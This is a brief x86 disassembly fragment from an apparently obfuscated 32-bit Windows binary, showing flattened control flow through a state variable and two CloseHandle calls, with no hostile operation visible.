mov dword [ebp - 0x140], 0x1e3b9587
jmp 0x100077f0
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x140], 0xe4f5b661
jmp 0x100077f0
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x140], 0x7d01ea2e
jmp 0x100077f0
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov dword [eax], 0
mov dword [ebp - 0x140], 0xc8fbd957
jmp 0x100077f0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x140], 0xa1eea5d6
jmp 0x100077f0
mov dword [ebp - 0x140], 0xf1b053d6
jmp 0x100077f0
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x140], 0xadf4e37f
jmp 0x10003dc0